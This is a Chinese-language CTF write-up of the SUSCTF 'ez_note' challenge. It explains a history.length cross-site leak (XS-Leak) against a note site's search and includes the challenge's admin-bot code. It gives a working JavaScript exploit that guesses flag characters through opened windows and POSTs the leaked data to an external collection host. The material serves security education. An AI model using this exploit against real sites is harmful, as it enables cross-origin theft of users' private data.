SUSCTF ez_note xsleak
挺有意思的xsleak
题目
题目给了源码 正好最近在弄playwright,很快能看出来是干啥
const opt = {
name: "ez_note",
router: "ez_note",
site: process.env.NOTE_SITE ?? "",
template: "note"
}
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
const visit = async (browser, path) =>{
let site = process.env.NOTE_SITE ?? ""
let url = new URL(path, site)
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
const loginpage = await browser.newPage()
await loginpage.goto( site+"/signin")
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
await Promise.all([
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
await loginpage.goto("about:blank")
await loginpage.close()
const page = await browser.newPage()
await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})
await delay(5000) /// waiting 5 second.
}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}
module.exports = {
opt:opt,
visit:visit
}
题目界面可以输入path
就是个简单的笔记网站
分析
经过测试不存在xss 越权等
path输入完整http://xxx/xxx可以直接出网
一个是笔记网站 带有”X-Frame-Options: SAMEORIGIN”,samesite属性是lax,express写的
所有功能要先登录,有一个搜索功能,如果搜索到 结果会在1s后跳转
一个playwright服务器?里面带HeadlessChrome/99.0.4844.0,根据附件代码,会先登录笔记站点,然后可以访问提交的url
合在一起像是CSRF,但是也是另外一个考点 xsleak
因为这里用的是 “X-Frame-Options: SAMEORIGIN” 所以只能用window的方式绕过限制(fetch等请求方法带不上cookie,用windows.open可以带cookie访问)
如图所示 samesite属性是lax时是无法防御基于history.length的攻击的
基于时间的或者frame的都不成功
做题
照着现成代码改一改,得到如下js
<script>
var table = "0123456789abcdefgh" //0123456789abcdefgh ijklmnopqrstuvwxyz_
var result = "unknown"
var resulturl = "unknown"
var url ='http://123.60.29.171:10001/search?q=SUSCTF{a_sh0rt_fl4g'
var tmp=[]
var pos=0
async function m() {
let mypos=pos
pos+=1
let myurl = url+table[mypos];
console.log(myurl)
let win = open(myurl);
// Wait for the window to be cross-origin
await new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1));
win.location = myurl;
await new Promise(resolve => setTimeout(resolve, 1500));
// Change the location to same-origin
win.location = 'about:blank';
// Wait for the window to be same-origin
await new Promise(r=>setInterval(()=>r(win.document.defaultView),1));
// 为了调试方便 保存一下历史
tmp.push([myurl,win.history.length])
// See how many entries exist in the history
if (win.history.length == 3) {
result=mypos
resulturl=myurl
}
}
for (let i = 0; i < table.length; i += 1) {
setTimeout(m,i*150)
}
setTimeout(function () {
let request = new XMLHttpRequest();
request.open("POST", decodeURIComponent("http://xxxxx/xxx"), false);
request.send(result.toString()+'\n\n\n'+resulturl.toString()+'\n\n\n'+tmp.toString());
console.log(result)
}, 4500)
</script>
放到flask上 顺便可以监听响应请求 代码就不贴了
参考
https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels